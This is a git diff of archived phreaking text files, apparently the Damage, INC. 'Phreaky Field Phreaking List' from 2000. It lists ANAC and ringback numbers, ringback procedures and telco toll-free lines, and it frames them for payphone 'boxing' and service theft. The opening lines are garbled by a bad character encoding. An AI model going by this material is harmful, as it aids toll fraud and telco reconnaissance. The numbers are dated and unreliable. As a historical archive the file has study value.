‚¥­£à¨ï +8-10 800 4977181 Ÿ¯®­¨ï (KDD) +8-10 800 4974358 ”¨­«ï­¤¨ï( Telecom Finland) +8-10 800 4977032 ¥«ì£¨ï (Belgacom calling cards) +8-10 800 4977212 ¥«ì£¨ï (Belgacom operator) +8-10 800 4977039 ˆâ «¨ï (Iritel) +8-10 800 4977353 ˆà« ­¤¨ï (Telecom Ireland) +8-10 800 4977156 —¨«¨ +8-10 800 4977165 ‘¨­£ ¯ãà +8-10 800 4977141 ˜¢¥©æ à¨ï. + + +South Africa: + +101999 Toll Free ANAC. + + +United Kingdom: + +100 Operator +175 National test number. (ANAC) +999 Emergency +1234 Talking Clock +192 Directory Enquiries (ie. give name/address, get phone number) + ++44 (0)171 930 4832 Buckingham Palace, London + +0800 100100 Operator/BT Sales +0800 321999 BT Security +0800 696969 HeatBusters, Gas Appliances +0800 89xxxx International Freephone (toll-free, but terminate overseas) + +UK Country Direct: + +0800 890011 USA Direct AT&T +0800 890016 Canada Direct +0800 890027 South Africa Direct +0800 890031 Netherlands Direct +0800 890032 Belgium Direct +0800 890033 France Direct +0800 890034 Spain Direct +0800 890036 Hungary Direct +0800 890038 Yugoslavia Direct +0800 890039 Italy Direct +0800 890042 Czechoslovakia Direct +0800 890043 Austria Direct +0800 890045 Denmark Direct +0800 890046 Sweden Direct +0800 890047 Norway Direct +0800 890049 Germany Direct +0800 890055 Brazil Direct +0800 890056 Chile Direct +0800 890061 Australia Direct +0800 890064 New Zealand Direct +0800 890065 Singapore Direct +0800 890066 Thailand Direct +0800 890081 Japan Direct +0800 890082 Korea Direct +0800 890123 Bermuda Direct +0800 890212 Morocco Direct +0800 890222 USA Direct MCI +0800 890351 Portugal Direct +0800 890353 Eire Direct +0800 890357 Cyprus Direct +0800 890358 Finland Direct +0800 890808 Hawaii Direct +0800 890852 Hong Kong Direct +0800 890877 USA Direct Sprint +0800 890909 BT International +0800 893300 Engineering test line, Hungary +0800 894278 Microtest +0800 894382 Novell Support: DOS7 & Personal Netware +0800 896980 J C Penney USA retailer +0800 897120 Quarterdeck UK +0800 897121 Holiday Inn +0800 897125 Phoenix Datacom +0800 898563 Iomega +0800 898604 Piste Artiste +0800 898888 Sun Express (Netherlands) +0800 899002 National Pen, Manchester +0800 899688 Sprint/Travelex pre-paid phone cards + + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Final Notes: + +If you'd like to contribute to the Damage, INC. Phreaky Field Phreaking List, +discover any dupes, numbers that are no longer in service or ones that have +been misidentified, please notify us in Email at damage_inc@disinfo.net and +report the error. This list is updated and released on a quarterly basis. +So, if you send numbers your alias will be included in the next edition. +Contributions are encouraged and always appreciated. + +Thanks go out to the following people (in no particular order) for their +contributions to this list. It's a large, ongoing project that wouldn't exist +without their support, and we appreciate the efforts that they've made towards +this compilation of numbers. If you contributed in some way but were neglected +to be mentioned, contact Damage, INC. and notify us about the oversight. + +Contributors/Greets: + +THC Phreak, BLACKENED, Shatazar, Helena3, Breaker, x25lurker, Tobias, Nevada, +Fringe, , Syko416, Lord Narayana, 1dot1, Overflow Trap, Fatal Vision, +Voyageur514, Silent Sentry, L00pster5, Phearless One, The Clone, Loud Ton3y, +Cultist, The Pusher, Gerfalcon, Jackal, Anarchist613, Betsi, RedBoxChiliPepper, +Logic Box, hevnsnt, Aftermath, Goldeneye, Jester, The Hitman, radigan, KingPiN, +tOrnak, Hollywood Vampire, Err418, Mister T, InfestDead, Toxic Twin, Snake Eyes, +not_in_service, Wrathchild, 1ns4n3 Pr3d4t0r,ÿDevilinDisguise, Aneurysm (204), +Hollow Point, Metabolis, Phractal, absolut zero (416), The Anchorite, Vortex, +La Jolla, aeon, Charles Forbin, Telco Terminus, BiohazzardTen, zxyx, Rev-Eng, +Dark Tangent, Jack Phlash, Cyb0rg/ASM, dea)(alm, , roamer1, The Exec, +C5man, Schizophreakic. + +Special thanks goes out to RedBoxChiliPepper (Phone Losers of America) for the +PLA Telephone Director0y. It was an inspiration to us. :) + +It was created, scanned, compiled, verified and distributed by phreaks, for +phreaks. And in addition to that, it's damn phreaky. Have phun... and look +for more releases courtesy of Damage, INC. and Blamerica Phreaky Industries. + +- Blackie Lawless + + Copyright 2000 by Damage, INC. All Rights Reserved. diff --git a/textfiles.com/groups/DAMAGEINC/dam00sum.txt b/textfiles.com/groups/DAMAGEINC/dam00sum.txt new file mode 100644 index 00000000..071a2b11 --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/dam00sum.txt @@ -0,0 +1,3128 @@ + _______________________________________________ _________________ + \_ __ \_ \ / \ / \_ \ | __/ ____/ \ | \| | __/ + _| |/ / = \| |/ = \| / | ___/_ _ | | | /___ _ + \________/___|___\__|_|__/___|___\_____|______/|_| \__|__|\__|_____/|_| +======================== "The name speaks for itself!" ======================== + + Phreaky Field Phreaking List. + ú Summer 2000 Edition ú + (Released: 07/25/00) + + http://surf.to/damage_inc + damage_inc@disinfo.net +=============================================================================== + +Introduction: + +Hey phreaks, this is the long awaited 6th edition of the Damage, INC. Phreaky +Field Phreaking List. We recommend that you print it out and take it with you +on all of your boxing expeditions or for use as a reference while at payphones. +Hell, just take it with you wherever you travel. You never know when you're +going to need it. :) This comprehensive list includes many toll free numbers +for telcos, test numbers, conferences, computer companies, carriers, cellular, +and other services, etc. It's not just damn phreaky, it's the phreakiest! + +Disclaimer: + +The Damage, INC. Phreaky Field Phreaking List is for informational purposes +only. We are not responsible for how it is used, including but not restricted +to any fraudulent, illegal acts that may be committed, unauthorized access of +systems, loss/theft of services or any damages that may be caused as a result +of someone else's activities. If/how you use these numbers is entirely your +choice. In summary, you're legally responsible for your own deeds and actions. +Now that the legal shit has been thoroughly covered, here's what you have all +been waiting for... :) + +------------------------------------------------------------------------------- + ANACs/ANIs and Ringbacks: +------------------------------------------------------------------------------- + +Local ANACs: + +(204) 644-4444 Manitoba. +(306) 115 Saskatchewan. +(403) 311 Alberta, Yukon and N.W. Territory. +(403) 908-222-2222 Alberta, Yukon and N.W. Territory. +(403) 999 Alberta, Yukon and N.W. Territory. +(416) 997-1699 Toronto, Ontario. +(416) 997-8123 Toronto, Ontario. +(416) 997-XXXX Toronto, Ontario. +(506) 1-555-1313 New Brunswick. +(514) 320-0047 Slow ANAC for Montreal, Quebec. +(514) 320-1147 Fast ANAC for Montreal, Quebec. +(514) 320-1223 Montreal, Quebec. +(514) 320-1232 Montreal, Quebec. +(514) 320-1233 Montreal, Quebec. +(514) 320-XXXX Montreal, Quebec. +(519) 320-XXXX London, Ontario. +(519) 748-3220 Kitchener, Ontario. (press "1" for ANI) +(604) 1116 British Columbia. +(604) 1211 British Columbia. +(604) 211 British Columbia. +(613) 320-2232 Ottawa, Ontario. +(613) 320-5123 Kingston/Belleville/Southeastern Ontario. +(613) 320-5124 Kingston/Belleville/Southeastern Ontario. +(613) 320-9123 Kingston/Belleville/Southeastern Ontario. +(615) 557-2311 Nashville, Tennessee. +(705) 320-4567 North Bay, Ontario. +(819) 320-1112 Sherbrooke, Quebec. +(954) 780-2411 Fort Lauderdale, Florida. + +Notes: There are also common 3 digit ANACs such as 958 in many U.S. NPAs. +ANACs (Automatic Number Announcement Circuits) are numbers that when dialed will +read back the telephone number of the calling party in an automated voice. It +should be obvious how useful they can be in certain situations. Please don't +overuse or abuse the toll free ANACs that've been provided. Use local ANACs +whenever possible to ensure that the 800s listed below remain active. + +Toll Free ANACs: + +1-800-222-6000 eVoice by Nokia. Press "88,06" for ANI. ("88,05" for date/time) +1-800-346-0152 ANAC. +1-800-4-BLOCKME VRS Billing Systems/IntegriTel has free 1-800 blocking & ANAC. +1-800-487-9240 ANAC (doesn't work from 519) +1-800-514-9939 ANAC (doesn't work from 416/519) +1-800-532-7486 AT&T Credit and Accounts Center. (Press "1,1" for ANI) +1-800-555-1160 ANAC (always busy now...) +1-800-555-1170 ANAC (always busy now...) +1-800-569-5699 ANAC (press "7*#") +1-800-638-2392 Press "2" for ANAC. +1-800-666-1379 Press "1,3,1" for ANAC. +1-800-692-6447 (1-800-MY-ANI-IS) Requires a passcode. +1-800-727-5207 MCI WorldCom. (reads back ANI) + +Ringbacks: + +305-780-6095 Miami, Florida (305) +311-XXX-XXXX British Columbia (604) +320-XXX-XXXX Montreal, Quebec (514) +320-XXX-XXXX Quebec (819) +507-XXX-XXXX Alberta. +572+XXX-XXXX New Brunswick (506) +575-XXX-XXXX Halifax, Nova Scotia (902) +57X-XXXX Toronto, Ontario (416) +590-XXX-XXXX Manitoba (204) +777-XXX-XXXX Indiana. +871-XXX-XXXX British Columbia (604) +954-780-6321 Ringback for 954 NPA. +954-999-XXXX Ringback for 954 NPA. +999-XXX-XXXX Alberta (403), Yukon, and N.W. Territories (867) +999-XXX-XXXX Hamilton/Mississauga/Niagara Falls, Ontario (905) +999-XXX-XXXX North Bay, Ontario (705) +999-XXX-XXXX Ottawa, Ontario (613) +999-XXX-XXXX Ringback for 519 NPA. +999-XXX-XXXX Ringback for portions of Toronto, Ontario (416) +99X-XXXX Toronto, Ontario (416) + +Note: Most Ringbacks require you to dial 3 digits plus your 7 digit telephone +number, flash the hook quickly (or press the flash button if you have one), wait +for a tone and then hangup. Seconds later your phone should begin ringing. To +interrupt and cancel the ringing, answer and press a button or hangup again. + +For more ANACs and Ringbacks, download Voyager's alt.2600/#Hack FAQ from +http://www.attrition.org/~voyager/faq.html + + +------------------------------------------------------------------------------- + AT&T: +------------------------------------------------------------------------------- + +1-800-221-0000 AT&T Interactive Advantage Customer Support Line. +1-800-221-7680 AT&T Digital Video Center. +1-800-222-0300 AT&T Main Number. +1-800-222-0400 AT&T Custom Care Centre (for long distance service) +1-800-222-0900 AT&T Customer Care Center. +1-800-222-1000 AT&T Customer Care Center. +1-800-222-3000 AT&T Customer Service. +1-800-222-5111 Lucent/Phillips Communications/AT&T Telephones. +1-800-222-7747 AT&T Gift Certificates. +1-800-222-7956 AT&T Global ISDN Customer Care Center. +1-800-222-8555 AT&T Long Distance Certificates. +1-800-223-4507 AT&T. +1-800-225-1718 AT&T Prepaid Phone Cards Customer Service. +1-800-225-5288 (1-800-CALL-ATT) AT&T Collect Calls. +1-800-225-5856 AT&T's Vendor Agent Program. +1-800-232-8200 AT&T Personal Rewards. +1-800-233-1222 AT&T National Special Needs Center (NSNC) Voice. +1-800-235-4288 AT&T America. +1-800-241-LOST AT&T Lost/Stolen Calling Cards. +1-800-242-2422 Loral Skynet Satellite Services (formerly AT&T Skynet) +1-800-242-6005 AT&T Internet Services. +1-800-243-0506 AT&T Find America Directory Service. +1-800-247-1212 AT&T. +1-800-247-6636 AT&T Wireless Services In-Flight Customer Care. +1-800-248-3632 AT&T Data Network Business Information Solutions. +1-800-252-7266 AT&T Alascom. (Anchorage, Alaska) +1-800-253-3846 AT&T Customer Care Center for the Federal Government. +1-800-254-8442 AT&T Repairs and Billing. +1-800-255-1242 AT&T Customer Information Center (Canada) +1-800-258-0123 AT&T Customer Care Center. +1-800-266-4014 AT&T Payroll and Employee Verification. +1-800-268-5931 AT&T Wireless Service VMB. +1-800-268-5939 AT&T (Operator) +1-800-305-9494 AT&T Wireless (MetroCall) Messaging. +1-800-322-MWBE AT&T Supplier Diversity Program Information Line. +1-800-325-0138 AT&T Small Business Customer Care. +1-800-325-1230 AT&T Calling Card Inquiries. +1-800-331-3449 AT&T Employee Line (Lists AT&T Job openings) +1-800-338-8095 AT&T (Mandarin) +1-800-338-8097 AT&T (Korean, Cantonese, Mandarin) +1-800-338-8106 AT&T (Cantonese) +1-800-338-8120 AT&T (Japanese) +1-800-342-5288 AT&T Customer Care Center. +1-800-344-5100 AT&T Voice/ISDN Services. +1-800-344-9248 AT&T. +1-800-345-4746 AT&T (Tagalog) +1-800-348-8288 AT&T Shareholder Services. +1-800-351-5855 AT&T Helpdesk. +1-800-361-2218 AT&T Canada. +1-800-362-9689 AT&T Customer Network Service Center. +1-800-367-7956 AT&T Switched Repair Service Center. +1-800-387-1026 AT&T Canada Business Sales. +1-800-387-1926 AT&T Canada Customer Care Centre. +1-800-4-ONE-RATE AT&T One Rate plan subscriptions. +1-800-400-1447 AT&T WorldNet Service Billing. +1-800-418-8999 AT&T Customer Care Center. (long distance service) +1-800-422-6622 AT&T Call Acquisition/Fault Management Helpline. +1-800-423-4343 AT&T Universal Card. +1-800-424-6030 AT&T's Matching Gift Processing Center. +1-800-425-5288 AT&T Products and Services. +1-800-426-8686 AT&T Printed Directories. (U.S. only) +1-800-428-8468 AT&T Global Services Center. +1-800-428-8669 (1-800-4ATT-NOW) AT&T Personal Network Sales Center. +1-800-435-7375 AT&T EasyLink Technical Support. (U.S. only) +1-800-438-3151 AT&T Wireless, Job Line. +1-800-443-8288 (1-800-GIFT-ATT) AT&T Gift Certificates. +1-800-446-7466 (1-800-4GOPHONE) AT&T Wireless GoPhone Services. +1-800-448-1008 AT&T Carrier Choice Protection. +1-800-448-8600 AT&T Global Customer Service Center. +1-800-462-4463 Rogers AT&T Wireless. +1-800-483-9288 AT&T and Texaco's Information Line. +1-800-503-6961 AT&T New York Local One Rate Sales. +1-800-503-6962 AT&T Texas Local One Rate Sales. +1-800-505-2162 AT&T Management Employment. +1-800-522-2157 AT&T Investigations Department. +1-800-524-2455 AT&T Customer Care. +1-800-525-7955 AT&T Direct Call Cards. +1-800-526-0253 AT&T Business Continuity Recovery Center. +1-800-528-0465 AT&T CampusWide Access Solutions. +1-800-532-2021 AT&T Carrier Line Charge Information. +1-800-538-5345 AT&T Slamming Resolution Center. +1-800-542-2025 AT&T (Russian) +1-800-552-3373 AT&T Wireless Advanced Network Services Support. +1-800-555-8111 AT&T Consumer Lease Services. +1-800-562-2255 AT&T 1-800 Directory Advertising. +1-800-562-6275 AT&T Message Sender (Send automated messages to any number) +1-800-562-7288 (1-800-JOBS-ATT) AT&T Employee Line. (U.S. only.) +1-800-562-7288 AT&T Occupational Employment. +1-800-565-4708 AT&T Canada Long Distance Services. +1-800-567-3692 AT&T Canada Long Distance Services. (French) +1-800-567-4672 AT&T Canada Electronic Commerce Services. +1-800-575-5511 AT&T Canada Long Distance Services. +1-800-575-5533 AT&T Canada Residential Sales. (French) +1-800-575-9999 AT&T Canada. +1-800-628-8486 AT&T Language Line Services. +1-800-634-8078 AT&T Billing Office/Accounts info. +1-800-637-0007 AT&T Network Management Support (NMSC), Lucent. (options) +1-800-643-2255 AT&T Translation Service. (Foreign languages only) +1-800-647-9808 AT&T (Hindi) +1-800-661-2268 Rogers AT&T Wireless Automated Self-Service System. +1-800-662-3036 AT&T Texas Local One Rate Service. +1-800-662-6214 AT&T Calling Card Protection line. +1-800-662-7759 (1-800-66-APPLY) AT&T Universal Card. +1-800-662-8439 AT&T Employee Benefits. +1-800-670-2255 AT&T Canada Long Distance Services. +1-800-670-6000 AT&T Canada Long Distance Services. +1-800-673-7286 AT&T 1-800-OPERATOR. Specializes in collect calls. Automated. +1-800-678-7918 AT&T Business Customer Care Center. +1-800-682-8706 AT&T Telecommunications Relay Customer Service. (Voice) +1-800-682-8786 AT&T Telecommunications Relay (TTY) +1-800-7-HOSTIN AT&T Internet Services. +1-800-732-2255 AT&T High Seas Radio Telephone and Mobile Satellite Services. +1-800-746-7846 AT&T Internet Services. +1-800-752-0093 AT&T Language Line Services. +1-800-752-6096 AT&T Language Line Customer Service Center. +1-800-790-2255 AT&T Canada Long Distance Services. +1-800-790-6000 AT&T Canada Long Distance Services. +1-800-807-2466 AT&T Learning Points Program. +1-800-820-6464 AT&T Digital Long Distance/ISDN Services. +1-800-822-9009 AT&T Corporate Security, internal investigations. +1-800-826-2600 AT&T (Polish) +1-800-827-1226 AT&T Global Network Systems. +1-800-830-2255 AT&T Canada Long Distance Services. +1-800-831-5259 AT&T WorldNet Business/Data Services. +1-800-833-0520 AT&T (Vietnamese) +1-800-833-3232 AT&T ACS Long Distance Bill Inquiries. +1-800-833-8134 Telecommunications Relay Service (TRS) Voice Callers (non-TDD/TT) +1-800-842-9710 AT&T Telecommunications Relay Service (TRS) for TDD/TT users. +1-800-850-TIES AT&T Easy Reach 800. (Call to setup Easy Reach 800s) +1-800-852-8935 AT&T Amcom Software Helpline. +1-800-855-1155 AT&T LDRS Directory Assistance. (TTY Carrier for the deaf) +1-800-855-2880 AT&T Long Distance Relay Service (TTY) +1-800-855-2881 AT&T Long Distance Relay Service (automated/voice) +1-800-855-2882 AT&T Long Distance Relay Service (TTY) +1-800-855-2883 AT&T Long Distance Relay Service (TTY) +1-800-858-9857 AT&T True Rewards (option 1) +1-800-872-3883 AT&T Operator. +1-800-878-3123 (1-800-TRUE-123) AT&T True Messages Service. +1-800-878-3500 AT&T True Connections Personal 500 Number Service. +1-800-888-7600 AT&T Wireless Customer Service. +1-800-889-4408 AT&T NCC (Network Control Center) and TCC. +1-800-892-3850 AT&T Wireless Long-Distance Service. +1-800-942-6726 AT&T Usage Minimum. +1-800-957-9000 AT&T Canada. +1-800-958-2255 AT&T Canada Long Distance Services. +1-800-958-6000 AT&T Canada Long Distance Services. +1-800-959-1090 AT&T New York Local Service. +1-800-967-5363 AT&T WorldNet Service. +1-800-970-2255 AT&T Canada Long Distance Services. +1-800-998-3947 AT&T Authorized Stocking Distributor/Zack Electronics. +1-800-ATT-4ALL AT&T New York Local Service. +1-800-FIND-ATT AT&T FIND Center. (resource to find out AT&T numbers and info) +1-800-GIFT-ATT AT&T Gift Certificates (extension 410) (Mon-Fri, 9-5) +1-800-IMAGINE Rogers AT&T Wireless. +1-800-MEGSCOM AT&T Outbound MEGACOM WATS? Call back. +1-800-TRAINER AT&T 800 Trainer (Corporate) Education Center. +1-800-WORLDNET (1-800-96753638) AT&T Canada Internet Service. +1-877-379-4199 AT&T Canada ADSL Internet Service. +1-877-397-3636 AT&T Canada ADSL Internet Service. +1-877-472-6793 AT&T HR Answers. +1-877-ATT-2345 AT&T Canada Long Distance Services. (Main Switchboard) +1-888-387-8852 AT&T Order Center. (order AT&T d0x!) +1-888-8-METNET MetroNet AT&T Canada. +1-888-863-8638 AT&T Canada Customer Service. +1-888-888-5413 AT&T WorldNet Service. +1-888-928-8932 (1-888-9ATT-WEB) AT&T Online Customer Service. +1-888-933-1212 AT&T Cellular phone accessories. (U.S. only) +1-888-ATT-1233 AT&T Canada Internet Service. +1-888-ATT-ALL1 AT&T Customer Care Center. +1-888-ATT-INTL AT&T International Helpline in Basking Ridge, NJ. +1-888-ATT-TRW3 AT&T True Rewards Account questions. +1-888-OUR-FAMILY AT&T. (Join the AT&T family) + + +------------------------------------------------------------------------------- + Ameritech: +------------------------------------------------------------------------------- + +(314) 444-4444 Ameritech (St. Louis Office) +1-800-207-2228 Ameritech. +1-800-221-0994 Ameritech Cellular and Paging. +1-800-242-3225 Ameritech Messaging/Monitoring. +1-800-244-4444 Ameritech Customer Billing Office (works outside of Illinois) +1-800-249-4449 Ameritech Yellow Pages Advertising Sales. +1-800-257-0902 Ameritech Main Office. +1-800-292-9340 Ameritech Pressure Cleaning Systems. +1-800-323-7311 Ameritech Capital Services. +1-800-327-3470 Ameritech Advertising Services. +1-800-331-5454 Ameritech. +1-800-346-4377 Ameritech Directory Order Center. +1-800-433-8505 Ameritech Special Needs Center. +1-800-446-PAGE Ameritech Cellular and Paging. +1-800-451-2761 Ameritech. +1-800-468-3949 Ameritech Automated Services. +1-800-475-7449 Ameritech Payphone Repair. +1-800-480-8088 Ameritech Business Solutions Center. +1-800-493-7243 Ameritech Quick Reach Pager Services. +1-800-523-7076 Ameritech Security Systems. +1-800-553-9591 Ameritech Pages Plus Advertising. +1-800-572-4545 Ameritech's Automated Trouble Report/Repair System. +1-800-621-4533 Ameritech Bilingual Customer Service. +1-800-621-8650 Ameritech's Lifeline program. +1-800-624-8291 Ameritech Employment Office. (Illinois) +1-800-642-4289 Ameritech Advertising. +1-800-647-9000 Ameritech Pages Plus Advertising. +1-800-649-3777 Ameritech. (TTY/TDD) +1-800-660-1000 Ameritech Customer Service. +1-800-660-3000 Ameritech Small Business Services. +1-800-662-4531 Ameritech Cellular and Paging. +1-800-680-6808 Ameritech Business Solutions Center. +1-800-707-9999 Ameritech. +1-800-719-5822 Ameritech Dedicated Internet Access. +1-800-762-4210 SBC Ameritech Information Industry Services. +1-800-769-4099 Ameritech Annoyance Call Bureau. +1-800-809-0878 Ameritech Payphones. +1-800-821-0173 Ameritech Cellular and Paging Services. +1-800-824-9410 SBC Ameritech Listing Service Group. +1-800-848-CAST Ameritech (Americast) Cable Services. +1-800-873-5501 Ameritech's automated billing. +1-800-924-1000 Ameritech Customer Service. +1-800-942-9240 Ameritech Employment Office. (Chicago area) +1-800-AMERITECH Ameritech. Calling card, collect calls, operator assisted. +1-800-EASY-FIND Ameritech Employee Finder. +1-800-MOBILE-1 Ameritech Cellular and Paging. +1-800-NET-8775 Ameritech Interactive Media Services. (Internet) +1-800-WORKLIFE Ameritech Home Office Telecom Center. +1-877-235-2994 Ameritech Cellular. +1-877-432-3279 Ameritech. +1-888-282-9566 Ameritech Security Systems. +1-888-635-5050 Ameritech Products and Services. +1-888-AMERITECH Ameritech. + + +------------------------------------------------------------------------------- + BCTel/TELUS: +------------------------------------------------------------------------------- + +1-800-447-2688 BCTel Mobility's EasyTouch Service. +1-800-472-9773 TELUS (Payphone Dept.) +1-800-563-0624 TELUS Fax. +1-800-567-0000 TELUS Customer Relations Department. +1-800-575-2355 BCTELUS Help Center. +1-800-661-2355 BCTel Mobility Customer Service. +1-800-661-4260 TELUS Advertising. +1-800-661-6074 TELUS Mobility Paging Customer Service. +1-800-663-1011 BCTel's Billing Inquiry System. +1-800-663-1440 BCTel Call Center/Accounts. +1-800-663-2234 BCTel Network Sales. +1-800-663-2455 BCTel Mobility Customer Service Department. +1-800-973-2223 TELUS Directory Delivery Service. (order phone books!) +1-877-310-6110 TELUS Today Customer Service. +1-877-344-3330 BCTel Mobility. +1-888-685-2355 BCTel Multiple Option Messaging. +1-888-811-2323 BCTel Customer Service. +1-888-823-6873 TELUS Call Center Solutions. +1-888-867-7587 (1-888-TMS-PLUS) TELUS. +1-888-905-2284 BCTel Interactive Business Solutions. +1-888-TELUS-11 TELUS Services. +1-888-TELUS-22 TELUS Business Sales and Service. + + +------------------------------------------------------------------------------- + Bell Atlantic: +------------------------------------------------------------------------------- + +1-800-221-4393 Bell Atlantic VMS. +1-800-222-7900 Bell Atlantic. +1-800-225-5400 Bell Atlantic. +1-800-244-2355 Bell Atlantic's Interactive Demo Center. +1-800-255-2255 Bell Atlantic 1-800-255-CALL. +1-800-255-BELL Bell Atlantic Mobile. +1-800-257-5554 Bell Atlantic Services/Computer Repair. +1-800-273-0053 Bell Atlantic 24 Hour Account Info (English & Spanish) +1-800-275-2355 (1-800-275-BELL) Bell Atlantic Repair. +1-800-281-8584 Bell Atlantic 24 Hour Account Info (English & Spanish) +1-800-297-2355 Bell Atlantic's Major Customer Center. +1-800-327-8412 Bell Atlantic Professional Services. +1-800-338-9144 Bell Atlantic Federal. +1-800-365-5810 Bell Atlantic Customer Information Line. (good telco info) +1-800-416-9639 Bell Atlantic Help Desk. +1-800-446-9639 Bell Atlantic Yellow Pages Customer Relations. +1-800-510-2595 Bell Atlantic Massachusetts Recruitment Center. +1-800-526-4611 Bell Atlantic Telecom Vendor's Service Leasing Dept. +1-800-538-4747 Bell Atlantic Mobile. +1-800-550-9840 Bell Atlantic Long Distance. +1-800-556-2355 Bell Atlantic Communications. +1-800-621-8900 Bell Atlantic Corporate Headquarters. +1-800-621-9900 Bell Atlantic Corporate Switchboard. +1-800-631-2355 Bell Atlantic Shareowner Services. +1-800-636-2355 Bell Atlantic Communications. +1-800-646-3337 Bell Atlantic Federal Integrated Solutions Maintenance Center. +1-800-647-NEWS Bell Atlantic Employee News line. (Daily recorded messages) +1-800-651-2020 Bell Atlantic Credit Card from Chase. +1-800-652-2355 Bell Atlantic Yellow Pages. +1-800-660-2355 Bell Atlantic Mobile's Loyalty Management Services Department. +1-800-678-4796 Bell Atlantic New Jersey Recruitment Center. +1-800-678-4802 Bell Atlantic Upstate New York Recruitment Center. +1-800-678-4809 Bell Atlantic Maryland/Washington DC/Virginia Recruitment Center. +1-800-678-4816 Bell Atlantic Delaware/West Virginia Recruitment Center. +1-800-678-4869 Bell Atlantic Pennsylvania Recruitment Center. +1-800-727-2231 Bell Atlantic. +1-800-755-1068 Bell Atlantic Customer Service. (New Jersey) +1-800-822-0409 Bell Atlantic Teleproducts/Telephone Equipment. +1-800-830-2355 Bell Atlantic Mobile. +1-800-843-2255 Bell Atlantic Small Business Direct Response Center. +1-800-846-1200 Bell Atlantic Large Business Solution Center. +1-800-922-0204 Bell Atlantic Mobile. +1-800-934-2255 Bell Atlantic. +1-800-993-BANI Bell Atlantic Network Integration Technical Assistance Center. +1-800-994-BANI Bell Atlantic Network Integration Human Resources. +1-800-PIC-BANI Bell Atlantic Network Integration Inside Sales Department. +1-800-WORK-4BA Bell Atlantic Automated Job Line. +1-877-263-0049 Bell Atlantic Video and DirecTV Service. +1-877-588-BELL Bell Atlantic Video Sales Department. +1-877-WITH-YOU Bell Atlantic Mobile Tele-Sales Department. +1-888-206-2355 Bell Atlantic. +1-888-208-2355 Bell Atlantic. +1-888-219-2355 Bell Atlantic. +1-888-221-2355 Bell Atlantic. +1-888-223-2355 Bell Atlantic. +1-888-264-2355 (1-888-ANI-BELL) Bell Atlantic Caller ID. +1-888-281-6279 Bell Atlantic Communications. +1-888-289-7309 Bell Atlantic Communications. +1-888-387-3800 Bell Atlantic Customer Service. +1-888-466-4646 Verizon Wireless. (Bell Atlantic, AirTouch and PrimeCo) +1-888-550-7095 Bell Atlantic Communications. +1-888-550-8178 Bell Atlantic Communications. +1-888-634-8910 Bell Atlantic Communications. +1-888-677-2355 Bell Atlantic View at One Support. +1-888-689-3820 Bell Atlantic Long Distance. +1-888-698-1205 Bell Atlantic Long Distance. +1-888-730-2355 Bell Atlantic. +1-888-741-2355 Bell Atlantic. +1-888-743-2355 Bell Atlantic. +1-888-745-2355 Bell Atlantic. +1-888-749-2355 Bell Atlantic. +1-888-751-2355 Bell Atlantic. +1-888-780-3961 Bell Atlantic 24 Hour Account Info (English & Spanish) +1-888-780-3962 Bell Atlantic 24 Hour Account Info (English & Spanish) +1-888-780-3964 Bell Atlantic 24 Hour Account Info (English & Spanish) +1-888-780-3965 Bell Atlantic 24 Hour Account Info (English & Spanish) +1-888-781-2355 Bell Atlantic. +1-888-782-2355 Bell Atlantic. +1-888-811-8731 Bell Atlantic Long Distance. +1-888-831-4947 Bell Atlantic Long Distance. +1-888-955-8141 Bell Atlantic Communications. +1-888-955-8361 Bell Atlantic Communications. +1-888-969-2355 Bell Atlantic. +1-888-983-2355 Bell Atlantic. +1-888-984-2355 Bell Atlantic. +1-888-985-2355 Bell Atlantic. +1-888-986-2355 Bell Atlantic. +1-888-988-2355 Bell Atlantic. +1-888-989-2355 Bell Atlantic. +1-888-990-2355 Bell Atlantic. +1-888-992-2355 Bell Atlantic. +1-888-993-2355 Bell Atlantic. +1-888-996-2355 Bell Atlantic. +1-888-997-2355 Bell Atlantic. +1-888-BIG-YELLOW Bell Atlantic Big Yellow Pages. +1-888-CALL-471 Bell Atlantic Benefits Center. + + +------------------------------------------------------------------------------- + BCE/Bell Canada/Stentor: +------------------------------------------------------------------------------- + +1-416-555-1313 Bell's local CN/A office for Toronto. +1-613-238-3103 Bell Canada Data Repair. (Ottawa Office) +310-1212 QuebecTel Customer Service Centre. +310-2355 Telephone Directory Ordering (free local directories) +310-BELL Bell Canada Customer Services. (toll free) +310-FAST Bell Sympatico. +310-INTERNET Bell Sympatico. +310-SURF Bell Sympatico. +811 Northwestel Call Centre. (BC, NWT, Yukon) + +1-800-225-5180 Bell Canada Client Service Center. +1-800-232-3227 Telcordia Technologies (Bellcore) FACS Customer Information Line. +1-800-238-8636 Bell Labs. +1-800-253-5011 Bell Mobility Paging. +1-800-256-2355 Bell Nexxia. (after hours OcTel VMB) +1-800-263-3899 Bell Mobility Customer Service. +1-800-263-7412 Bell Canada Millennium Help Line. +1-800-263-8394 Bell Mobility. +1-800-265-0123 Bell Mobility Ardis Division Sales. +1-800-265-3076 Telesat Satellite Network Operations Control. +1-800-265-5925 Bell Canada Business Repair. (Data & I.X. Voice Repair) +1-800-267-0123 Bell Mobility's Automated Express Lane System. (reports EST) +1-800-267-0424 Bell Nexxia Customer Care. +1-800-267-1870 Telesat Canada. +1-800-267-2355 Bell Mobility Quebec. +1-800-267-5353 Tele-Direct Atlantic. +1-800-267-6511 IslandTel Special Needs Centre (Tdd) +1-800-267-6574 Bell Canada Datapac Customer Assistance Centre. +1-800-267-7002 Tele-Direct. +1-800-267-7640 Bell Canada's Ident-a-Call demonstration line. ("*" to enter VMS) +1-800-267-9502 Bell Canada. (Operator) +1-800-267-9556 Bell Canada. +1-800-268-1720 Bell Canada Multimedia. +1-800-268-2323 Bell ActiMedia. +1-800-268-2355 Bell Mobility Ottawa Office. +1-800-268-3550 Bell ActiMedia Internet Services. +1-800-268-5637 Bell ActiMedia (call to purchase CAN, USA and INTL. directories) +1-800-268-5933 Bell Canada Quickchange Department. +1-800-268-8531 Bell Repair. +1-800-268-9100 Bell Canada 1-900, 976, Information Line (they send Faxes) +1-800-268-9107 Bell Canada Customer Care. +1-800-268-9160 Bell Canada Information Service Line. +1-800-270-2355 Business Consulting Group of Bell Canada. +1-800-323-6628 Bell Laboratories. +1-800-331-9948 Bell Canada Relay Service Customer Comment Line. +1-800-339-6359 BCE Investor Relations. (Montreal) +1-800-348-2226 IslandTel. +1-800-360-2373 Northern Telephone Service Center. +1-800-360-8555 Northern Telephone Limited. +1-800-361-0804 